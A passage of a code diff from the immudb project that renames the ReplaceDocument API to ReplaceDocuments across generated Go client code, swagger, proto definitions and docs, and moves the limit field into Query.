DocumentId *string `json:"documentId,omitempty"` - Revision *string `json:"revision,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` +// ModelReplaceDocumentsResponse defines model for modelReplaceDocumentsResponse. +type ModelReplaceDocumentsResponse struct { + Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` } // ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. @@ -511,8 +510,8 @@ type DeleteDocumentsJSONRequestBody = ModelDeleteDocumentsRequest // ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. type ProofDocumentJSONRequestBody = ModelProofDocumentRequest -// ReplaceDocumentJSONRequestBody defines body for ReplaceDocument for application/json ContentType. -type ReplaceDocumentJSONRequestBody = ModelReplaceDocumentRequest +// ReplaceDocumentsJSONRequestBody defines body for ReplaceDocuments for application/json ContentType. +type ReplaceDocumentsJSONRequestBody = ModelReplaceDocumentsRequest // SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest @@ -650,10 +649,10 @@ type ClientInterface interface { ProofDocument(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // ReplaceDocument request with any body - ReplaceDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // ReplaceDocuments request with any body + ReplaceDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - ReplaceDocument(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + ReplaceDocuments(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) // SearchDocuments request with any body SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -923,8 +922,8 @@ func (c *Client) ProofDocument(ctx context.Context, body ProofDocumentJSONReques return c.Client.Do(req) } -func (c *Client) ReplaceDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentRequestWithBody(c.Server, contentType, body) +func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -935,8 +934,8 @@ func (c *Client) ReplaceDocumentWithBody(ctx context.Context, contentType string return c.Client.Do(req) } -func (c *Client) ReplaceDocument(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentRequest(c.Server, body) +func (c *Client) ReplaceDocuments(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequest(c.Server, body) if err != nil { return nil, err } @@ -1481,19 +1480,19 @@ func NewProofDocumentRequestWithBody(server string, contentType string, body io. return req, nil } -// NewReplaceDocumentRequest calls the generic ReplaceDocument builder with application/json body -func NewReplaceDocumentRequest(server string, body ReplaceDocumentJSONRequestBody) (*http.Request, error) { +// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body +func NewReplaceDocumentsRequest(server string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewReplaceDocumentRequestWithBody(server, "application/json", bodyReader) + return NewReplaceDocumentsRequestWithBody(server, "application/json", bodyReader) } -// NewReplaceDocumentRequestWithBody generates requests for ReplaceDocument with any type of body -func NewReplaceDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body +func NewReplaceDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1738,10 +1737,10 @@ type ClientWithResponsesInterface interface { ProofDocumentWithResponse(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - // ReplaceDocument request with any body - ReplaceDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) + // ReplaceDocuments request with any body + ReplaceDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) - ReplaceDocumentWithResponse(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) + ReplaceDocumentsWithResponse(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) // SearchDocuments request with any body SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) @@ -2035,15 +2034,15 @@ func (r ProofDocumentResponse) StatusCode() int { return 0 } -type ReplaceDocumentResponse struct { +type ReplaceDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelReplaceDocumentResponse + JSON200 *ModelReplaceDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ReplaceDocumentResponse) Status() string { +func (r ReplaceDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2051,7 +2050,7 @@ func (r ReplaceDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ReplaceDocumentResponse) StatusCode() int { +func (r ReplaceDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2307,21 +2306,21 @@ func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, bod return ParseProofDocumentResponse(rsp) } -// ReplaceDocumentWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentResponse -func (c *ClientWithResponses) ReplaceDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) { - rsp, err := c.ReplaceDocumentWithBody(ctx, contentType, body, reqEditors...) +// ReplaceDocumentsWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentsResponse +func (c *ClientWithResponses) ReplaceDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { + rsp, err := c.ReplaceDocumentsWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseReplaceDocumentResponse(rsp) + return ParseReplaceDocumentsResponse(rsp) } -func (c *ClientWithResponses) ReplaceDocumentWithResponse(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) { - rsp, err := c.ReplaceDocument(ctx, body, reqEditors...) +func (c *ClientWithResponses) ReplaceDocumentsWithResponse(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentsResponse, error) { + rsp, err := c.ReplaceDocuments(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseReplaceDocumentResponse(rsp) + return ParseReplaceDocumentsResponse(rsp) } // SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse @@ -2771,22 +2770,22 @@ func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, err return response, nil } -// ParseReplaceDocumentResponse parses an HTTP response from a ReplaceDocumentWithResponse call -func ParseReplaceDocumentResponse(rsp *http.Response) (*ReplaceDocumentResponse, error) { +// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call +func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ReplaceDocumentResponse{ + response := &ReplaceDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelReplaceDocumentResponse + var dest ModelReplaceDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 29fdb7ddaf..f05145b899 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -386,12 +386,12 @@ }, "/documents/replace": { "put": { - "operationId": "ReplaceDocument", + "operationId": "ReplaceDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelReplaceDocumentResponse" + "$ref": "#/definitions/modelReplaceDocumentsResponse" } }, "default": { @@ -407,7 +407,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelReplaceDocumentRequest" + "$ref": "#/definitions/modelReplaceDocumentsRequest" } } ], @@ -677,10 +677,6 @@ "properties": { "query": { "$ref": "#/definitions/modelQuery" - }, - "limit": { - "type": "integer", - "format": "int64" } } }, @@ -711,6 +707,9 @@ "type": "string", "format": "uint64" }, + "documentId": { + "type": "string" + }, "revision": { "type": "string", "format": "uint64" @@ -901,6 +900,10 @@ "items": { "$ref": "#/definitions/modelOrderByClause" } + }, + "limit": { + "type": "integer", + "format": "int64" } } }, @@ -915,7 +918,7 @@ } } }, - "modelReplaceDocumentRequest": { + "modelReplaceDocumentsRequest": { "type": "object", "properties": { "query": { @@ -926,19 +929,14 @@ } } }, - "modelReplaceDocumentResponse": { + "modelReplaceDocumentsResponse": { "type": "object", "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentId": { - "type": "string" - }, - "revision": { - "type": "string", - "format": "uint64" + "revisions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelDocumentAtRevision" + } } } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index c7fcdaa592..50dc1b0c68 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -133,15 +133,13 @@ message InsertDocumentsResponse { repeated string documentIds = 2; } -message ReplaceDocumentRequest { +message ReplaceDocumentsRequest { Query query = 1; google.protobuf.Struct document = 2; } -message ReplaceDocumentResponse { - uint64 transactionId = 1; - string documentId = 2; - uint64 revision = 3; +message ReplaceDocumentsResponse { + repeated DocumentAtRevision revisions = 1; } message SearchDocumentsRequest { @@ -155,6 +153,7 @@ message Query { string collection = 1; repeated QueryExpression expressions = 2; repeated OrderByClause orderBy = 3; + uint32 limit = 4; } message QueryExpression { @@ -190,9 +189,10 @@ message SearchDocumentsResponse { message DocumentAtRevision { uint64 transactionId = 1; - uint64 revision = 2; - DocumentMetadata metadata = 3; - google.protobuf.Struct document = 4; + string documentId = 2; + uint64 revision = 3; + DocumentMetadata metadata = 4; + google.protobuf.Struct document = 5; } message DocumentMetadata { @@ -228,7 +228,6 @@ message ProofDocumentResponse { message DeleteDocumentsRequest { Query query = 1; - uint32 limit = 2; } message DeleteDocumentsResponse {} @@ -311,7 +310,7 @@ service DocumentService { }; } - rpc ReplaceDocument(ReplaceDocumentRequest) returns (ReplaceDocumentResponse) { + rpc ReplaceDocuments(ReplaceDocumentsRequest) returns (ReplaceDocumentsResponse) { option (google.api.http) = { put: "/documents/replace" body: "*" diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index ab6657cfe7..4716e1ac69 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -43,8 +43,8 @@ - [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) - - [ReplaceDocumentRequest](#immudb.model.ReplaceDocumentRequest) - - [ReplaceDocumentResponse](#immudb.model.ReplaceDocumentResponse) + - [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) + - [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) - [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) - [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) @@ -310,7 +310,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | query | [Query](#immudb.model.Query) | | | -| limit | [uint32](#uint32) | | | @@ -362,6 +361,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | +| documentId | [string](#string) | | | | revision | [uint64](#uint64) | | | | metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -586,6 +586,7 @@ | collection | [string](#string) | | | | expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | | orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | +| limit | [uint32](#uint32) | | | @@ -607,9 +608,9 @@ - + -### ReplaceDocumentRequest +### ReplaceDocumentsRequest @@ -623,17 +624,15 @@ - + -### ReplaceDocumentResponse +### ReplaceDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| documentId | [string](#string) | | | -| revision | [uint64](#uint64) | | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | @@ -753,7 +752,7 @@ | CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | | DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) | | | InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) | | -| ReplaceDocument | [ReplaceDocumentRequest](#immudb.model.ReplaceDocumentRequest) | [ReplaceDocumentResponse](#immudb.model.ReplaceDocumentResponse) | | +| ReplaceDocuments | [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) | [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) | | | DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) | | | SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) | | | AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index a1357152d1..1854534ee6 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1106,7 +1106,7 @@ func (x *InsertDocumentsResponse) GetDocumentIds() []string { return nil } -type ReplaceDocumentRequest struct { +type ReplaceDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1115,8 +1115,8 @@ type ReplaceDocumentRequest struct { Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } -func (x *ReplaceDocumentRequest) Reset() { - *x = ReplaceDocumentRequest{} +func (x *ReplaceDocumentsRequest) Reset() { + *x = ReplaceDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1124,13 +1124,13 @@ func (x *ReplaceDocumentRequest) Reset() { } } -func (x *ReplaceDocumentRequest) String() string { +func (x *ReplaceDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*ReplaceDocumentRequest) ProtoMessage() {} +func (*ReplaceDocumentsRequest) ProtoMessage() {} -func (x *ReplaceDocumentRequest) ProtoReflect() protoreflect.Message { +func (x *ReplaceDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1142,37 +1142,35 @@ func (x *ReplaceDocumentRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use ReplaceDocumentRequest.ProtoReflect.Descriptor instead. -func (*ReplaceDocumentRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use ReplaceDocumentsRequest.ProtoReflect.Descriptor instead. +func (*ReplaceDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{19} } -func (x *ReplaceDocumentRequest) GetQuery() *Query { +func (x *ReplaceDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } -func (x *ReplaceDocumentRequest) GetDocument() *structpb.Struct { +func (x *ReplaceDocumentsRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } return nil } -type ReplaceDocumentResponse struct { +type ReplaceDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` + Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` } -func (x *ReplaceDocumentResponse) Reset() { - *x = ReplaceDocumentResponse{} +func (x *ReplaceDocumentsResponse) Reset() { + *x = ReplaceDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1180,13 +1178,13 @@ func (x *ReplaceDocumentResponse) Reset() { } } -func (x *ReplaceDocumentResponse) String() string { +func (x *ReplaceDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*ReplaceDocumentResponse) ProtoMessage() {} +func (*ReplaceDocumentsResponse) ProtoMessage() {} -func (x *ReplaceDocumentResponse) ProtoReflect() protoreflect.Message { +func (x *ReplaceDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1198,30 +1196,16 @@ func (x *ReplaceDocumentResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use ReplaceDocumentResponse.ProtoReflect.Descriptor instead. -func (*ReplaceDocumentResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use ReplaceDocumentsResponse.ProtoReflect.Descriptor instead. +func (*ReplaceDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{20} } -func (x *ReplaceDocumentResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *ReplaceDocumentResponse) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - -func (x *ReplaceDocumentResponse) GetRevision() uint64 { +func (x *ReplaceDocumentsResponse) GetRevisions() []*DocumentAtRevision { if x != nil { - return x.Revision + return x.Revisions } - return 0 + return nil } type SearchDocumentsRequest struct { @@ -1303,6 +1287,7 @@ type Query struct { Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` Expressions []*QueryExpression `protobuf:"bytes,2,rep,name=expressions,proto3" json:"expressions,omitempty"` OrderBy []*OrderByClause `protobuf:"bytes,3,rep,name=orderBy,proto3" json:"orderBy,omitempty"` + Limit uint32 `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"` } func (x *Query) Reset() { @@ -1358,6 +1343,13 @@ func (x *Query) GetOrderBy() []*OrderByClause { return nil } +func (x *Query) GetLimit() uint32 { + if x != nil { + return x.Limit + } + return 0 +} + type QueryExpression struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1584,9 +1576,10 @@ type DocumentAtRevision struct { unknownFields protoimpl.UnknownFields TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` - Metadata *DocumentMetadata `protobuf:"bytes,3,opt,name=metadata,proto3" json:"metadata,omitempty"` - Document *structpb.Struct `protobuf:"bytes,4,opt,name=document,proto3" json:"document,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` + Metadata *DocumentMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` + Document *structpb.Struct `protobuf:"bytes,5,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentAtRevision) Reset() { @@ -1628,6 +1621,13 @@ func (x *DocumentAtRevision) GetTransactionId() uint64 { return 0 } +func (x *DocumentAtRevision) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + func (x *DocumentAtRevision) GetRevision() uint64 { if x != nil { return x.Revision @@ -1978,7 +1978,6 @@ type DeleteDocumentsRequest struct { unknownFields protoimpl.UnknownFields Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` - Limit uint32 `protobuf:"varint,2,opt,name=limit,proto3" json:"limit,omitempty"` } func (x *DeleteDocumentsRequest) Reset() { @@ -2020,13 +2019,6 @@ func (x *DeleteDocumentsRequest) GetQuery() *Query { return nil } -func (x *DeleteDocumentsRequest) GetLimit() uint32 { - if x != nil { - return x.Limit - } - return 0 -} - type DeleteDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2165,22 +2157,20 @@ var file_documents_proto_rawDesc = []byte{ 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x78, 0x0a, 0x16, 0x52, 0x65, 0x70, - 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, - 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x22, 0x7b, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, - 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x79, 0x0a, 0x17, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8f, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, @@ -2190,7 +2180,7 @@ var file_documents_proto_rawDesc = []byte{ 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, + 0x7a, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, @@ -2200,97 +2190,99 @@ var file_documents_proto_rawDesc = []byte{ 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 